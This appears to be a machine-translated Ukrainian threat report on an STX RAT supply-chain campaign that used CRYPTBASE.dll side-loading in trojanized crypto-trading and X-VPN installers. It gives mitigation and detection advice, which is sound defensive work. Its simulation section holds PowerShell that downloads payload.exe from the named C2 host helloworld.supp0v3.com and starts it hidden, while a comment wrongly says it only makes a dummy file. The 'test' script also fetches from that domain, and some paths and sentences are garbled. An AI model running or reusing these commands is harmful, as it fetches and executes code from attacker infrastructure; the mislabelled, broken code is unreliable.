Від криптогаманців до VPN з 100 мільйонами користувачів: Внутрішня історія активної кампанії ланцюга поставок STX RAT

Резюме

Дослідники виявили активну кампанію в ланцюгу постачання, в якій загрозливий актор зловживав DLL зі сторони завантаження, використовуючи шкідливу CRYPTBASE.dll щоб розгорнути троян віддаленого доступу STX RAT через троянських інсталяторів для програмного забезпечення торгівлі криптовалютою та клієнта X-VPN. Операція спиралася на єдиний репозиторій Bitbucket для поширення заражених пакетів і обертала домени командування і контролю під supp0v3.com коренем. Орієнтуючись на користувачів фінансових інструментів обміну та широко використовуваного VPN-сервісу, атакуючі позиціонували себе для крадіжки облікових даних та інших чутливих даних у великому масштабі. Зміст виявлення було оновлено, щоб охопити спільний метод завантаження з боку та загальну інфраструктуру.

Розслідування

Аналітики ідентифікували 11 шкідливих пакетів, які всі використовували одну і ту ж CRYPTBASE.dll ланцюг завантаження, щоб завантажити STX RAT безпосередньо в пам’ять. Троянські інсталятори були розміщені в репозиторії Bitbucket під назвою amos-trading, а метадані комітів пов’язали активність із псевдонімом Leda Elacoate. Після публічного викриття оператори обертали інфраструктуру з helloworld.supp0v3.com to на. Аналіз YARA підтвердив, що STX RAT був фінальним вантажем у кожному дослідженому зразку.

Пом’якшення

X-VPN вирішив проблему у версії Windows 77.5.3, яка забезпечує суворе завантаження DLL з системних каталогів, виконує перевірку хешів DLL під час запуску та застосовує політику завантаження для кожного процесу. Блокування supp0v3.com та її піддоменів на мережевому периметрі може порушити трафік командування і контролю. Організації також повинні посилити практику завантаження програмного забезпечення та обмежити інсталяції лише перевіреними джерелами постачальника.

Відповідь

Захисники повинні сигналізувати про будь-який процес, який завантажує CRYPTBASE.dll з не-системного шляху та досліджувати ознаки виконання STX RAT у пам’яті. Опубліковане правило YARA STX RAT слід розгорнути на платформах EDR, а вихідний HTTPS трафік до supp0v3.com слід ретельно моніторити. Всі кінцеві точки слід оновити до виправленої версії X-VPN або видалити вразливе ПЗ. Загроза полювання також повинна зосереджуватися на відбитому поведінці завантаження коду, пов’язаній з багатоступеневим розпаковуванням шкідливого ПЗ.

Виконання симуляції

Передумова: Перевірка телеметрії та базових параметрів повинна пройти.

Мотивація: Цей розділ детально описує точне виконання техніки атакуючого (TTP), покликаної спровокувати правило виявлення. Команди та описи МАЮТЬ безпосередньо відбивати ідентифіковані TTPs і бути націленими на генерування точної телеметрії, очікуваної логікою виявлення.

• Історія атаки та команди:

  Атакуючий, який компрометував обліковий запис користувача з низьким рівнем привілеїв, використовує однострокову команду PowerShell для завантаження шкідливого вантажу з сервера C2 helloworld.supp0v3.com. Це використовує T1071.001 (Веб-протокол C2) та T1204.002 (Виконання користувачем), в той час як вантаж сам зашифрований (T1027, T1027.009) та маскується як легітимний виконуваний файл (T1036.005/008). Відмінене з’єднання з шкідливим доменом повинно бути захоплено журналом брандмауера і, відповідно, викликати правило Sigma.

  # Завантажити шкідливий вантаж з домену Supp0v3 C2
  $url = "http://helloworld.supp0v3.com/payload.exe"
  $out = "$env:TEMPpayload.exe"
  Invoke-WebRequest -Uri $url -UseBasicParsing -OutFile $out
  
  # Виконати вантаж (симульовано – фактично просто створює фіктивний файл)
  Start-Process -FilePath $out -WindowStyle Hidden

• Скрипт регресійного тестування:

  # TC-20260609-A1B2C – Симуляція підключення STX RAT C2 до helloworld.supp0v3.com
  try {
      # Крок 1: Підготувати фіктивний вантаж (уникати виконання реального шкідливого ПЗ)
      $payloadPath = "$env:TEMPpayload.exe"
      Set-Content -Path $payloadPath -Value "This is a dummy executable for testing." -Encoding ASCII
  
      # Крок 2: Симулювати вихідний HTTP-запит до шкідливого домену
      $c2Url = "http://helloworld.supp0v3.com/payload.exe"
      Invoke-WebRequest -Uri $c2Url -UseBasicParsing -OutFile $payloadPath
  
      # Крок 3: "Виконати" вантаж (без реального виконання з метою безпеки)
      Write-Host "Симульоване виконання вантажу у $payloadPath"
  
      Write-Host "Симуляція завершена – перевірте SIEM на наявність сигналу."
  }
  catch {
      Write-Error "Симуляція не вдалася: $_"
  }

• Команди очищення:

  # Видалити фіктивний вантаж та всі залишкові файли
  $payloadPath = "$env:TEMPpayload.exe"
  if (Test-Path $payloadPath) {
      Remove-Item -Path $payloadPath -Force
      Write-Host "Очищено файл вантажу."
  }
  else {
      Write-Host "Файл вантажу не знайдено – нічого очищати."
  }